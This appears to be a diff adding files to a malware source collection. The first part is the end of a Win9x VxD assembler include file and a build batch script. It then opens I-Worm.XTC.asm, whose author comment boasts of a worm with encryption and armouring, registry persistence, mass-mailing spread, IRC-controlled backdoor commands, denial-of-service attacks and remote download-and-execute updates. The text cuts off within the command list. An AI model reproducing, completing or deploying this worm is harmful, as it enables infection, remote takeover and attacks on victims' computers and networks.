0021H+PNP_NEW_DEVNODE EQU 0022H+W32_DEVICEIOCONTROL EQU 0023H++DIOC_GETVERSION EQU 0H+DIOC_OPEN EQU DIOC_GETVERSION+DIOC_CLOSEHANDLE EQU -1++SYS_VM_TERMINATE2 EQU 0024H+SYSTEM_EXIT2 EQU 0025H+SYS_CRITICAL_EXIT2 EQU 0026H+VM_TERMINATE2 EQU 0027H+VM_NOT_EXECUTEABLE2 EQU 0028H+DESTROY_VM2 EQU 0029H+VM_SUSPEND2 EQU 002AH+END_MESSAGE_MODE2 EQU 002BH+END_PM_APP2 EQU 002CH+DEVICE_REBOOT_NOTIFY2 EQU 002DH+CRIT_REBOOT_NOTIFY2 EQU 002EH+CLOSE_VM_NOTIFY2 EQU 002FH+GET_CONTENTION_HANDLER EQU 0030H+KERNEL32_INITIALIZED EQU 0031H+KERNEL32_SHUTDOWN EQU 0032H+CREATE_PROCESS EQU 0033H+DESTROY_PROCESS EQU 0034H+SYS_DYNAMIC_DEVICE_REINIT EQU 0035H+SYS_POWER_DOWN EQU 0036H+MAX_SYSTEM_CONTROL EQU 0036H++BEGIN_RESERVED_PRIVATE_SYSTEM_CONTROL EQU 70000000H+END_RESERVED_PRIVATE_SYSTEM_CONTROL EQU 7FFFFFFFH+++%macro VxD_Service 2+ @@%2 EQU (%1_Device_ID << 16) | __Cur_Service_Num__+ %assign __Cur_Service_Num__ (__Cur_Service_Num__ + 1)+ %ifdef Create_Service_Table_%1+ dd %2+ %endif+%endmacro++%macro Begin_Service_Table 1+ %assign __Cur_Service_Num__ 0+ %define %1_Service VxD_Service %1,++ %ifdef Create_Service_Table_%1+[segment _LDATA]+ %1_Service_Table:+ %endif+%endmacro++%macro End_Service_Table 1+ Num_%1_Services equ __Cur_Service_Num__+ %undef __Cur_Service_Num__+ %undef %1_Service+ %ifdef Create_Service_Table_%1+__SECT__+ %endif+%endmacro+++%include "winddk.inc"+++; Client Register Structure as passed to V86/PM CallBacks+struc CRS+.EDI resd 1 ; 0+.ESI resd 1 ; 4+.EBP resd 1 ; 8+.res0 resd 1 ; C+.EBX resd 1 ; 10+.EDX resd 1 ; 14+.ECX resd 1 ; 18+.EAX resd 1 ; 1C+.Error resd 1 ; 20+.EIP resd 1 ; 24+.CS resw 1 ; 28+.res1 resw 1 ;+.EFlags resd 1 ; 2C+.ESP resd 1 ; 30+.SS resw 1 ; 34+.res2 resw 1+.ES resw 1 ; 38+.res3 resw 1+.DS resw 1 ; 3C+.res4 resw 1+.FS resw 1 ; 40+.res5 resw 1+.GS resw 1 ; 44+.res6 resw 1+.Alt_EIP resd 1 ; 48+.Alt_CS resw 1 ; 4C+.res7 resw 1+.Alt_EFlags resd 1+.Alt_ESP resd 1+.Alt_SS resw 1+.res8 resw 1+.Alt_ES resw 1+.res9 resw 1+.Alt_DS resw 1+.res10 resw 1+.Alt_FS resw 1+.res11 resw 1+.Alt_GS resw 1+.res12 resw 1+endstruc++struc cb_s+CB_VM_Status resd 1+CB_High_Linear resd 1+CB_Client_Pointer resd 1+CB_VMID resd 1+CB_Signature resd 1+endstruc++VMCB_ID EQU 62634D56H+VMSTAT_EXCLUSIVE_BIT EQU 00H+VMSTAT_EXCLUSIVE EQU (1 << VMSTAT_EXCLUSIVE_BIT)+VMSTAT_BACKGROUND_BIT EQU 01H+VMSTAT_BACKGROUND EQU (1 << VMSTAT_BACKGROUND_BIT)+VMSTAT_CREATING_BIT EQU 02H+VMSTAT_CREATING EQU (1 << VMSTAT_CREATING_BIT)+VMSTAT_SUSPENDED_BIT EQU 03H+VMSTAT_SUSPENDED EQU (1 << VMSTAT_SUSPENDED_BIT)+VMSTAT_NOT_EXECUTEABLE_BIT EQU 04H+VMSTAT_NOT_EXECUTEABLE EQU (1 << VMSTAT_NOT_EXECUTEABLE_BIT)+VMSTAT_PM_EXEC_BIT EQU 05H+VMSTAT_PM_EXEC EQU (1 << VMSTAT_PM_EXEC_BIT)+VMSTAT_PM_APP_BIT EQU 06H+VMSTAT_PM_APP EQU (1 << VMSTAT_PM_APP_BIT)+VMSTAT_PM_USE32_BIT EQU 07H+VMSTAT_PM_USE32 EQU (1 << VMSTAT_PM_USE32_BIT)+VMSTAT_VXD_EXEC_BIT EQU 08H+VMSTAT_VXD_EXEC EQU (1 << VMSTAT_VXD_EXEC_BIT)+VMSTAT_HIGH_PRI_BACK_BIT EQU 09H+VMSTAT_HIGH_PRI_BACK EQU (1 << VMSTAT_HIGH_PRI_BACK_BIT)+VMSTAT_BLOCKED_BIT EQU 0AH+VMSTAT_BLOCKED EQU (1 << VMSTAT_BLOCKED_BIT)+VMSTAT_AWAKENING_BIT EQU 0BH+VMSTAT_AWAKENING EQU (1 << VMSTAT_AWAKENING_BIT)+VMSTAT_PAGEABLEV86BIT EQU 0CH+VMSTAT_PAGEABLEV86_BIT EQU VMSTAT_PAGEABLEV86BIT+VMSTAT_PAGEABLEV86 EQU (1 << VMSTAT_PAGEABLEV86BIT)+VMSTAT_V86INTSLOCKEDBIT EQU 0DH+VMSTAT_V86INTSLOCKED_BIT EQU VMSTAT_V86INTSLOCKEDBIT+VMSTAT_V86INTSLOCKED EQU (1 << VMSTAT_V86INTSLOCKEDBIT)+VMSTAT_IDLE_TIMEOUT_BIT EQU 0EH+VMSTAT_IDLE_TIMEOUT EQU (1 << VMSTAT_IDLE_TIMEOUT_BIT)+VMSTAT_IDLE_BIT EQU 0FH+VMSTAT_IDLE EQU (1 << VMSTAT_IDLE_BIT)+VMSTAT_CLOSING_BIT EQU 10H+VMSTAT_CLOSING EQU (1 << VMSTAT_CLOSING_BIT)+VMSTAT_TS_SUSPENDED_BIT EQU 11H+VMSTAT_TS_SUSPENDED EQU (1 << VMSTAT_TS_SUSPENDED_BIT)+VMSTAT_TS_MAXPRI_BIT EQU 12H+VMSTAT_TS_MAXPRI EQU (1 << VMSTAT_TS_MAXPRI_BIT)+VMSTAT_USE32_MASK EQU (VMSTAT_PM_USE32 | VMSTAT_VXD_EXEC)++struc tcb_s+TCB_Flags resd 1 ; 00+TCB_Reserved1 resd 1 ; 04+TCB_Reserved2 resd 1 ; 08+TCB_Signature resd 1 ; 0C+TCB_ClientPtr resd 1 ; 10+TCB_VMHandle resd 1 ; 14+TCB_ThreadId resw 1 ; 18+TCB_PMLockOrigSS resw 1 ; 1A+TCB_PMLockOrigESP resd 1 ; 1C+TCB_PMLockOrigEIP resd 1 ; 20+TCB_PMLockStackCount resd 1 ; 24+TCB_PMLockOrigCS resw 1 ; 28+TCB_PMPSPSelector resw 1 ; 2A+TCB_ThreadType resd 1 ; 2C+TCB_pad1 resw 1 ;+TCB_pad2 resb 1 ;+TCB_extErrLocus resb 1 ;+TCB_extErr resw 1 ;+TCB_extErrAction resb 1 ;+TCB_extErrClass resb 1 ;+TCB_extErrPtr resd 1 ;+endstruc++SCHED_OBJ_ID_THREAD EQU 42434854H+THFLAG_SUSPENDED_BIT EQU 03H+THFLAG_SUSPENDED EQU (1 << THFLAG_SUSPENDED_BIT)+THFLAG_NOT_EXECUTEABLE_BIT EQU 04H+THFLAG_NOT_EXECUTEABLE EQU (1 << THFLAG_NOT_EXECUTEABLE_BIT)+THFLAG_THREAD_CREATION_BIT EQU 08H+THFLAG_THREAD_CREATION EQU (1 << THFLAG_THREAD_CREATION_BIT)+THFLAG_THREAD_BLOCKED_BIT EQU 0AH+THFLAG_THREAD_BLOCKED EQU (1 << THFLAG_THREAD_BLOCKED_BIT)+THFLAG_RING0_THREAD_BIT EQU 1CH+THFLAG_RING0_THREAD EQU (1 << THFLAG_RING0_THREAD_BIT)+THFLAG_ASYNC_THREAD_BIT EQU 1FH+THFLAG_ASYNC_THREAD EQU (1 << THFLAG_ASYNC_THREAD_BIT)+THFLAG_CHARSET_BITS EQU 10H+THFLAG_CHARSET_MASK EQU (3 << THFLAG_CHARSET_BITS)+THFLAG_ANSI EQU (0 << THFLAG_CHARSET_BITS)+THFLAG_OEM EQU (1 << THFLAG_CHARSET_BITS)+THFLAG_UNICODE EQU (2 << THFLAG_CHARSET_BITS)+THFLAG_RESERVED EQU (3 << THFLAG_CHARSET_BITS)+THFLAG_EXTENDED_HANDLES_BIT EQU 12H+THFLAG_EXTENDED_HANDLES EQU (1 << THFLAG_EXTENDED_HANDLES_BIT)+THFLAG_OPEN_AS_IMMOVABLE_FILE_BIT EQU 13H+THFLAG_OPEN_AS_IMMOVABLE_FILE EQU (1 << THFLAG_OPEN_AS_IMMOVABLE_FILE_BIT)++struc pmcb_s+PMCB_Flags resd 1+PMCB_Parent resd 1+endstruc++struc Exception_Handler_Struc+EHS_Reserved resd 1+EHS_Start_EIP resd 1+EHS_End_EIP resd 1+EHS_Handler resd 1+endstruc++struc VMFaultInfo+VMFI_EIP resd 1+VMFI_CS resw 1+VMFI_Ints resw 1+endstruc++RESERVED_LOW_BOOST EQU 00000001H+CUR_RUN_VM_BOOST EQU 00000004H+LOW_PRI_DEVICE_BOOST EQU 00000010H+HIGH_PRI_DEVICE_BOOST EQU 00001000H+CRITICAL_SECTION_BOOST EQU 00100000H+TIME_CRITICAL_BOOST EQU 00400000H+RESERVED_HIGH_BOOST EQU 40000000H+PEF_WAIT_FOR_STI_BIT EQU 0+PEF_WAIT_FOR_STI EQU (1 << PEF_WAIT_FOR_STI_BIT)+PEF_WAIT_NOT_CRIT_BIT EQU 1+PEF_WAIT_NOT_CRIT EQU (1 << PEF_WAIT_NOT_CRIT_BIT)+PEF_DONT_UNBOOST_BIT EQU 2+PEF_DONT_UNBOOST EQU (1 << PEF_DONT_UNBOOST_BIT)+PEF_ALWAYS_SCHED_BIT EQU 3+PEF_ALWAYS_SCHED EQU (1 << PEF_ALWAYS_SCHED_BIT)+PEF_TIME_OUT_BIT EQU 4+PEF_TIME_OUT EQU (1 << PEF_TIME_OUT_BIT)+PEF_WAIT_NOT_HW_INT_BIT EQU 5+PEF_WAIT_NOT_HW_INT EQU (1 << PEF_WAIT_NOT_HW_INT_BIT)+PEF_WAIT_NOT_NESTED_EXEC_BIT EQU 6+PEF_WAIT_NOT_NESTED_EXEC EQU (1 << PEF_WAIT_NOT_NESTED_EXEC_BIT)+PEF_WAIT_IN_PM_BIT EQU 7+PEF_WAIT_IN_PM EQU (1 << PEF_WAIT_IN_PM_BIT)+PEF_THREAD_EVENT_BIT EQU 8+PEF_THREAD_EVENT EQU (1 << PEF_THREAD_EVENT_BIT)+PEF_WAIT_FOR_THREAD_STI_BIT EQU 9+PEF_WAIT_FOR_THREAD_STI EQU (1 << PEF_WAIT_FOR_THREAD_STI_BIT)+PEF_RING0_EVENT_BIT EQU 10+PEF_RING0_EVENT EQU (1 << PEF_RING0_EVENT_BIT)+PEF_WAIT_CRIT_BIT EQU 11+PEF_WAIT_CRIT EQU (1 << PEF_WAIT_CRIT_BIT)+PEF_WAIT_CRIT_VM_BIT EQU 12+PEF_WAIT_CRIT_VM EQU (1 << PEF_WAIT_CRIT_VM_BIT)+PEF_PROCESS_LAST_BIT EQU 13+PEF_PROCESS_LAST EQU (1 << PEF_PROCESS_LAST_BIT)+PEF_WAIT_PREEMPTABLE_BIT EQU 14+PEF_WAIT_PREEMPTABLE EQU (1 << PEF_WAIT_PREEMPTABLE_BIT)+PEF_WAIT_FOR_PASSIVE_BIT EQU 15+PEF_WAIT_FOR_PASSIVE EQU (1 << PEF_WAIT_FOR_PASSIVE_BIT)+PEF_WAIT_FOR_APPY_BIT EQU 16+PEF_WAIT_FOR_APPY EQU (1 << PEF_WAIT_FOR_APPY_BIT)+PEF_WAIT_FOR_WORKER_BIT EQU 17+PEF_WAIT_FOR_WORKER EQU (1 << PEF_WAIT_FOR_WORKER_BIT)+PEF_WAIT_NOT_TIME_CRIT_BIT EQU PEF_WAIT_NOT_HW_INT_BIT+PEF_WAIT_NOT_TIME_CRIT EQU PEF_WAIT_NOT_HW_INT+PEF_WAIT_NOT_PM_LOCKED_STACK_BIT EQU PEF_WAIT_NOT_NESTED_EXEC_BIT+PEF_WAIT_NOT_PM_LOCKED_STACK EQU PEF_WAIT_NOT_NESTED_EXEC+PEF_WAIT_FOR_CONFIGMG_CALLABLE EQU PEF_WAIT_FOR_WORKER+PEF_WAIT_FOR_CONFIGMG_QUICK EQU PEF_WAIT_FOR_APPY+BLOCK_SVC_INTS_BIT EQU 0+BLOCK_SVC_INTS EQU (1 << BLOCK_SVC_INTS_BIT)+BLOCK_SVC_IF_INTS_LOCKED_BIT EQU 1+BLOCK_SVC_IF_INTS_LOCKED EQU (1 << BLOCK_SVC_IF_INTS_LOCKED_BIT)+BLOCK_ENABLE_INTS_BIT EQU 2+BLOCK_ENABLE_INTS EQU (1 << BLOCK_ENABLE_INTS_BIT)+BLOCK_POLL_BIT EQU 3+BLOCK_POLL EQU (1 << BLOCK_POLL_BIT)+BLOCK_THREAD_IDLE_BIT EQU 4+BLOCK_THREAD_IDLE EQU (1 << BLOCK_THREAD_IDLE_BIT)+BLOCK_FORCE_SVC_INTS_BIT EQU 5+BLOCK_FORCE_SVC_INTS EQU (1 << BLOCK_FORCE_SVC_INTS_BIT)++PAGEZEROINIT EQU 00000001H+PAGEUSEALIGN EQU 00000002H+PAGECONTIG EQU 00000004H+PAGEFIXED EQU 00000008H+PAGEDEBUGNULFAULT EQU 00000010H+PAGEZEROREINIT EQU 00000020H+PAGENOCOPY EQU 00000040H+PAGELOCKED EQU 00000080H+PAGELOCKEDIFDP EQU 00000100H+PAGESETV86PAGEABLE EQU 00000200H+PAGECLEARV86PAGEABLE EQU 00000400H+PAGESETV86INTSLOCKED EQU 00000800H+PAGECLEARV86INTSLOCKED EQU 00001000H+PAGEMARKPAGEOUT EQU 00002000H+PAGEPDPSETBASE EQU 00004000H+PAGEPDPCLEARBASE EQU 00008000H+PAGEDISCARD EQU 00010000H+PAGEPDPQUERYDIRTY EQU 00020000H+PAGEMAPFREEPHYSREG EQU 00040000H+PAGEPHYSONLY EQU 04000000H+PAGENOMOVE EQU 10000000H+PAGEMAPGLOBAL EQU 40000000H+PAGEMARKDIRTY EQU 80000000H++P_SIZE EQU 1000H+P_PRESBIT EQU 0+P_PRES EQU (1 << P_PRESBIT)+P_WRITEBIT EQU 1+P_WRITE EQU (1 << P_WRITEBIT)+P_USERBIT EQU 2+P_USER EQU (1 << P_USERBIT)+P_ACCBIT EQU 5+P_ACC EQU (1 << P_ACCBIT)+P_DIRTYBIT EQU 6+P_DIRTY EQU (1 << P_DIRTYBIT)+P_AVAIL EQU (P_PRES+P_WRITE+P_USER)+PG_VM EQU 0+PG_SYS EQU 1+PG_RESERVED1 EQU 2+PG_PRIVATE EQU 3+PG_RESERVED2 EQU 4+PG_RELOCK EQU 5+PG_INSTANCE EQU 6+PG_HOOKED EQU 7+PG_IGNORE EQU 0FFFFFFFFH+D_PRES EQU 080H+D_NOTPRES EQU 0+D_DPL0 EQU 0+D_DPL1 EQU 020H+D_DPL2 EQU 040H+D_DPL3 EQU 060H+D_SEG EQU 010H+D_CTRL EQU 0+D_GRAN_BYTE EQU 000H+D_GRAN_PAGE EQU 080H+D_DEF16 EQU 000H+D_DEF32 EQU 040H+D_CODE EQU 08H+D_DATA EQU 0+D_X EQU 0+D_RX EQU 02H+D_C EQU 04H+D_R EQU 0+D_W EQU 02H+D_ED EQU 04H+D_ACCESSED EQU 1+RW_DATA_TYPE EQU (D_PRES+D_SEG+D_DATA+D_W)+R_DATA_TYPE EQU (D_PRES+D_SEG+D_DATA+D_R)+CODE_TYPE EQU (D_PRES+D_SEG+D_CODE+D_RX)+D_PAGE32 EQU (D_GRAN_PAGE+D_DEF32)+SELECTOR_MASK EQU 0FFF8H+SEL_LOW_MASK EQU 0F8H+TABLE_MASK EQU 04H+RPL_MASK EQU 03H+RPL_CLR EQU (~RPL_MASK)+IVT_ROM_DATA_SIZE EQU 500H++LMEM_STRING EQU 00010000H+LMEM_OEM2ANSI EQU 00020000H+QAAFL_APPYAVAIL EQU 00000001H+QAAFL_APPYNOW EQU 00000002H+CAAFL_RING0 EQU 00000001H+CAAFL_TIMEOUT EQU 00000002H++PAGEOUT_PRIVATE EQU 00000001H+PAGEOUT_SHARED EQU 00000002H+PAGEOUT_SYSTEM EQU 00000004H+PAGEOUT_REGION EQU 00000008H+PAGEOUT_ALL EQU (PAGEOUT_PRIVATE | PAGEOUT_SHARED | PAGEOUT_SYSTEM)++PG_UNCACHED EQU 00000001H+PG_WRITECOMBINED EQU 00000002H+FLUSHCACHES_NORMAL EQU 00000000H+FLUSHCACHES_GET_CACHE_LINE_PTR EQU 00000001H+FLUSHCACHES_GET_CACHE_SIZE_PTR EQU 00000002H+FLUSHCACHES_TAKE_OVER EQU 00000003H+FLUSHCACHES_FORCE_PAGES_OUT EQU 00000004H+FLUSHCACHES_LOCK_LOCKABLE EQU 00000005H+FLUSHCACHES_UNLOCK_LOCKABLE EQU 00000006H++HEAPZEROINIT EQU 00000001H+HEAPZEROREINIT EQU 00000002H+HEAPNOCOPY EQU 00000004H+HEAPALIGN_SHIFT EQU 16+HEAPALIGN_MASK EQU 000F0000H+HEAPALIGN_4 EQU 00000000H+HEAPALIGN_8 EQU 00000000H+HEAPALIGN_16 EQU 00000000H+HEAPALIGN_32 EQU 00010000H+HEAPALIGN_64 EQU 00020000H+HEAPALIGN_128 EQU 00030000H+HEAPALIGN_256 EQU 00040000H+HEAPALIGN_512 EQU 00050000H+HEAPALIGN_1K EQU 00060000H+HEAPALIGN_2K EQU 00070000H+HEAPALIGN_4K EQU 00080000H+HEAPALIGN_8K EQU 00090000H+HEAPALIGN_16K EQU 000A0000H+HEAPALIGN_32K EQU 000B0000H+HEAPALIGN_64K EQU 000C0000H+HEAPALIGN_128K EQU 000D0000H+HEAPTYPESHIFT EQU 8+HEAPTYPEMASK EQU 00000700H+HEAPLOCKEDHIGH EQU 00000000H+HEAPLOCKEDIFDP EQU 00000100H+HEAPSWAP EQU 00000200H+HEAPINIT EQU 00000400H+HEAPCLEAN EQU 00000800H+HEAPCONTIG EQU 00001000H+HEAPFORGET EQU 00002000H+HEAPLOCKEDLOW EQU 00000300H+HEAPSYSVM EQU 00000500H+HEAPPREEMPT EQU 00000600H++LF_ASYNC_BIT EQU 0+LF_ASYNC EQU (1 << LF_ASYNC_BIT)+LF_USE_HEAP_BIT EQU 1+LF_USE_HEAP EQU (1 << LF_USE_HEAP_BIT)+LF_ALLOC_ERROR_BIT EQU 2+LF_ALLOC_ERROR EQU (1 << LF_ALLOC_ERROR_BIT)+LF_SWAP EQU (LF_USE_HEAP+(1 << 3))++ASSERT_RANGE_NULL_BAD EQU 00000000H+ASSERT_RANGE_NULL_OK EQU 00000001H+ASSERT_RANGE_IS_ASCIIZ EQU 00000002H+ASSERT_RANGE_IS_NOT_ASCIIZ EQU 00000000H+ASSERT_RANGE_NO_DEBUG EQU 80000000H+ASSERT_RANGE_BITS EQU 80000003H++VXDLDR_INIT_DEVICE EQU 000000001H++VXDLDR_ERR_OUT_OF_MEMORY EQU 1+VXDLDR_ERR_IN_DOS EQU 2+VXDLDR_ERR_FILE_OPEN_ERROR EQU 3+VXDLDR_ERR_FILE_READ EQU 4+VXDLDR_ERR_DUPLICATE_DEVICE EQU 5+VXDLDR_ERR_BAD_DEVICE_FILE EQU 6+VXDLDR_ERR_DEVICE_REFUSED EQU 7+VXDLDR_ERR_NO_SUCH_DEVICE EQU 8+VXDLDR_ERR_DEVICE_UNLOADABLE EQU 9+VXDLDR_ERR_ALLOC_V86_AREA EQU 10+VXDLDR_ERR_BAD_API_FUNCTION EQU 11+VXDLDR_ERR_MAX EQU 11++VXDLDR_NOTIFY_OBJECTUNLOAD EQU 0+VXDLDR_NOTIFY_OBJECTLOAD EQU 1++VXDLDR_APIFUNC_GETVERSION EQU 0+VXDLDR_APIFUNC_LOADDEVICE EQU 1+VXDLDR_APIFUNC_UNLOADDEVICE EQU 2+++struc DIOCParams+.Internal1 resd 1+.VMHandle resd 1+.Internal2 resd 1+.dwIoControlCode resd 1+.lpvInBuffer resd 1+.cbInBuffer resd 1+.lpvOutBuffer resd 1+.cbOutBuffer resd 1+.lpcbBytesReturned resd 1+.lpoOverlapped resd 1+.hDevice resd 1+.tagProcess resd 1+endstruc++VWIN32_DIOC_GETVERSION EQU DIOC_GETVERSION+VWIN32_DIOC_DOS_IOCTL EQU 1+VWIN32_DIOC_DOS_INT25 EQU 2+VWIN32_DIOC_DOS_INT26 EQU 3+VWIN32_DIOC_DOS_INT13 EQU 4+VWIN32_DIOC_SIMCTRLC EQU 5+VWIN32_DIOC_DOS_DRIVEINFO EQU 6+VWIN32_DIOC_CLOSEHANDLE EQU DIOC_CLOSEHANDLE++struc DIOCRegs+.reg_EBX resd 1+.reg_EDX resd 1+.reg_ECX resd 1+.reg_EAX resd 1+.reg_EDI resd 1+.reg_ESI resd 1+.reg_Flags resd 1+endstruc++%ifndef FILE_FLAG_OVERLAPPED+struc _OVERLAPPED+.O_Internal resd 1+.O_InternalHigh resd 1+.O_Offset resd 1+.O_OffsetHigh resd 1+.O_hEvent resd 1+endstruc+%endif+++R0_OPENCREATFILE equ 0D500h ; Open/Create a file+R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Open/Create file in current context+R0_READFILE equ 0D600h ; Read a file, no context+R0_WRITEFILE equ 0D601h ; Write to a file, no context+R0_READFILE_IN_CONTEXT equ 0D602h ; Read a file, in thread context+R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Write to a file, in thread context+R0_CLOSEFILE equ 0D700h ; Close a file+R0_GETFILESIZE equ 0D800h ; Get size of a file+R0_FINDFIRSTFILE equ 04E00h ; Do a LFN FindFirst operation+R0_FINDNEXTFILE equ 04F00h ; Do a LFN FindNext operation+R0_FINDCLOSEFILE equ 0DC00h ; Do a LFN FindClose operation+R0_FILEATTRIBUTES equ 04300h ; Get/Set Attributes of a file+R0_RENAMEFILE equ 05600h ; Rename a file+R0_DELETEFILE equ 04100h ; Delete a file+R0_LOCKFILE equ 05C00h ; Lock/Unlock a region in a file+R0_GETDISKFREESPACE equ 03600h ; Get disk free space+R0_READABSOLUTEDISK equ 0DD00h ; Absolute disk read+R0_WRITEABSOLUTEDISK equ 0DE00h ; Absolute disk write+++%macro GetDeviceServiceOrdinal 2+ mov %1, @@%2+%endmacro++%macro VxDCall 1-*+ %rep %0 - 1+ %rotate -1+ push %1+ %endrep+ %rotate -1+ db 0xCD, 0x20+ dd @@%1+ %if %0 > 1+ lea esp, [esp + 4*(%0 - 1)]+ %endif+%endmacro++%define VxDcall VxDCall++%macro VMMCall 1-2++ %if (@@%1 >> 16) <> VMM_Device_ID+ %error %1 is not a VMM Service+ %endif+ VxDcall %1, %2+%endmacro++%define VMMcall VMMCall++%macro VxDJmp 1+ db 0xCD, 0x20+ dd (@@%1 | 0x80000000)+%endmacro+%define VxDjmp VxDJmp++%macro VMMJmp 1+ %if (@@%1 >> 16) <> VMM_Device_ID+ %error %1 is not a VMM Service+ %endif+ VxDJmp %1+%endmacro++%define VMMjmp VMMJmp++struc VxD_Desc_Block+DDB_Next resd 1+DDB_SDK_Version resw 1; DW DDK_VERSION+DDB_Req_Device_Number resw 1; DW UNDEFINED_DEVICE_ID+DDB_Dev_Major_Version resb 1; DB 0+DDB_Dev_Minor_Version resb 1; DB 0+DDB_Flags resw 1; DW 0+DDB_Name resb 8; DB " "+DDB_Init_Order resd 1; DD UNDEFINED_INIT_ORDER+DDB_Control_Proc resd 1; DD ?+DDB_V86_API_Proc resd 1; DD 0+DDB_PM_API_Proc resd 1; DD 0+DDB_V86_API_CSIP resd 1; DD 0+DDB_PM_API_CSIP resd 1; DD 0+DDB_Reference_Data resd 1; DD ?+DDB_Service_Table_Ptr resd 1; DD 0+DDB_Service_Table_Size resd 1; DD 0+DDB_Win32_Service_Table resd 1; DD 0+DDB_Prev resd 1; DD 'Prev'+DDB_Size resd 1; DD SIZE(VxD_Desc_Block)+DDB_Reserved1 resd 1; DD 'Rsv1'+DDB_Reserved2 resd 1; DD 'Rsv2'+DDB_Reserved3 resd 1; DD 'Rsv3'+endstruc++;+; Params 5-9 are optional, since most of the time they are generic+; params: devname, quoted devname, major, minor, devid, initorder, v86, pm, ref+; Control_Proc must be named devname_Control+;+%macro Declare_Virtual_Device 4-9 UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER, 0, 0, 0+global %1_DDB+%1_DDB:+istruc VxD_Desc_Block+ at DDB_Next, dd 0+ at DDB_SDK_Version, dw DDK_VERSION+ at DDB_Req_Device_Number, dw %5+ at DDB_Dev_Major_Version, db %3+ at DDB_Dev_Minor_Version, db %4+ at DDB_Flags, dw 0+%%start:+ at DDB_Name, db %2+%%end:+ TIMES 8-(%%end-%%start) db ' '++ at DDB_Init_Order, dd %6+ at DDB_Control_Proc, dd %1_Control+ at DDB_V86_API_Proc, dd %7+ at DDB_PM_API_Proc, dd %8+ at DDB_V86_API_CSIP, dd 0+ at DDB_PM_API_CSIP, dd 0+ at DDB_Reference_Data, dd %9++%ifdef Create_Service_Table_%1+ at DDB_Service_Table_Ptr, dd %1_Service_Table+ at DDB_Service_Table_Size, dd Num_%1_Services+%else+ at DDB_Service_Table_Ptr, dd 0+ at DDB_Service_Table_Size, dd 0+%endif++ at DDB_Win32_Service_Table, dd 0+ at DDB_Prev, db 'verP'+ at DDB_Size, dd VxD_Desc_Block_size+ at DDB_Reserved1, db '1vsR'+ at DDB_Reserved2, db '2vsR'+ at DDB_Reserved3, db '3vsR'+iend+%endmacro+++%macro Trace_Out 1+[segment _LDATA]+%%msg: db %1, 13, 10, 0+__SECT__+push dword %%msg+VMMCall _Trace_Out_Service+%endmacro++%macro Trace_Outcc 2+j%-1 %%cont+Trace_Out %2+%%cont:+%endmacro++%macro Trace_OutE 1+Trace_Outcc e, %1+%endmacro+%define Trace_OutZ Trace_OutE++%macro Trace_OutNE 1+Trace_Outcc ne, %1+%endmacro+%define Trace_OutNZ Trace_OutNE++%macro Trace_OutC 1+Trace_Outcc c, %1+%endmacro++%macro Trace_OutNC 1+Trace_Outcc nc, %1+%endmacro+++%endif+�����������������������������������������������������������������[VXDN.INC]���+�����������������������������������������������������������������[MAKE.BAT]���+@echo off+if exist v.exe del v.exe+if exist v.obj del v.obj+nasmw -f win32 v.asm+gorc /r vres.rc+alink -entry start -oPE v.obj vres.res kernel32.lib user32.lib gdi32.lib+�����������������������������������������������������������������[MAKE.BAT]���diff --git a/Worms/InternetWorm/I-Worm.XTC.asm b/Worms/InternetWorm/I-Worm.XTC.asmnew file mode 100644index 0000000..7ef036c--- /dev/null+++ b/Worms/InternetWorm/I-Worm.XTC.asm@@ -0,0 +1,2461 @@++COMMENT#++ �����������������������������Ŀ+ � Project XTC - I-Worm.XTC �+ �������������������������������+ ��������������������Ŀ+ � by Benny/29A �+ ����������������������++++Have you ever thought about internet worm you could have absolute control+above? The worm you could control,plan missions (DOS attax, targets to infect),+which the worm will make? The worm, which will give you access to infected+computer,such like Back Orifice? The worm you could easilly control by IRC and+update by FTP? Very fast spreading worm with stealth, anti-* features and very+small size? Have you ever thought about this? Yeah? You were not alone. I also+like such idea, that's why I coded this worm. It can do exactly the same I+wrote above. For additional informations, read my article "Worms in 21st+century".++This worm was supposed to be my first one. But while I was coding this very+complex worm, I got very bored from that, so meanwhile I coded I-Worm.Energy,+Before I finished it, I got many new ideaz how should my next worm work. I+decided to not implement complex spreading via exploits (that was the main idea+of this worm), finish it ASAP and start to work on the other one.++I finished this one. It was hard work and the result is pretty good looking+worm :-) It is very useful to place this worm to hacked computerz, see below+why. I don't want to write long description, I will just briefly list some of+its main featurez. Have a fun!+++1) Worm is compressed/encrypted/armoured by "tElock" utility. Worm's total+ size is 20kB.+2) Worm file containz AVX standard icon.+3) Worm is able to work as a service process under all Win32 platformz.+4) On Win9x systems worm modifies registry so it will be executed on every+ start of system.+5) Worm is able to spread via MAPI32 interface. Worm can get e-mail+ addresses from html filez from "Temporary Internet Files" directory+ (there are usually thousandz html filez containing email addresses).+6) Worm can simulate "fork" (in inactivity it can change to another+ process(change PID), so there will be no constantly running process in+ the system).+7) Update itself (from FTP) via IRC. See below.+8) Worm can connect to Undernet IRC server, create/join secret and passworded+ "xtcdan" channel (under random name), stay there and wait for commandz.+ Some superuser can join the channel and administrate infected computer.+ Here is the list of all commandz. If the command is successfully+ performed, worm will reply "**", otherwise ".".+NOTE: Worm always replies to private window. Commandz written in private+ window will be executed by the addressed worm, commandz written in+ public window will be executed by all wormz.+++�����������������������������������������������������������������������������Ŀ+� � �+� Command � Description �+� � �+�����������������������������������������������������������������������������Ĵ+� password � logs on to worm �+�����������������������������������������������������������������������������Ĵ+� nopassword � logs off from worm �+�����������������������������������������������������������������������������Ĵ+� dos � starts with DOS attack �+�����������������������������������������������������������������������������Ĵ+� stopdos � stops the DOS attack �+�����������������������������������������������������������������������������Ĵ+� spreadon � starts with mail spreading �+�����������������������������������������������������������������������������Ĵ+� spreadoff � stops the mail spreading �+�����������������������������������������������������������������������������Ĵ+� spreadto � sends itself to specified e-mail address �+�����������������������������������������������������������������������������Ĵ+� lanspread � starts with LAN spreading �+�����������������������������������������������������������������������������Ĵ+� reconnect � terminates itself and executes itself again �+�����������������������������������������������������������������������������Ĵ+� exitprocess � terminates itself �+�����������������������������������������������������������������������������Ĵ+� reboot � reboots computer �+�����������������������������������������������������������������������������Ĵ+� leave � cleans up and delete itself from infected computer �+�����������������������������������������������������������������������������Ĵ+� update � downloads file from specified URL and executes it �+�����������������������������������������������������������������������������Ĵ+� ircsend � runs the specified IRC command �+�����������������������������������������������������������������������������Ĵ+� mark � payload, sets some default pagez of MSIE to �+� � http://www.therainforestsite.com �+�����������������������������������������������������������������������������Ĵ+� whois � replies if infected computer has the same IP as the specified �+� � one 